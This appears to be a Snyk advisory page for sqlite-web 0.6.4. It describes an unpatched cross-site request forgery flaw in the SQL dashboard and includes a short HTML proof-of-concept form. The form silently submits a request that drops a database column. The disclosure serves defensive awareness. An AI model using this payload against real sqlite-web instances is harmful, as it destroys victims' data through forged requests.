sqlite-web@0.6.4 vulnerabilities

Web-based SQLite database browser.

Direct Vulnerabilities

Known vulnerabilities in the sqlite-web package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Cross-site Request Forgery (CSRF)

sqlite-web is a Web-based SQLite database browser.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF). The SQL dashboard area allows sensitive actions to be performed without validating that the request originated from the application. This could enable an attacker to trick a user into performing these actions unknowingly through a Cross Site Request Forgery (CSRF) attack.

PoC

<html><form enctype="application/x-www-form-urlencoded" method="POST" action="http://your-sqlite-web-instance:8080/sss/drop-column/"><table><tr><td>name</td><td><input type="text" value="id" name="name"></td></tr>
</table><input type="submit" value="http://dvws.local:8080/sss/drop-column/"></form></html>

How to fix Cross-site Request Forgery (CSRF)?

There is no fixed version for sqlite-web.

[0,)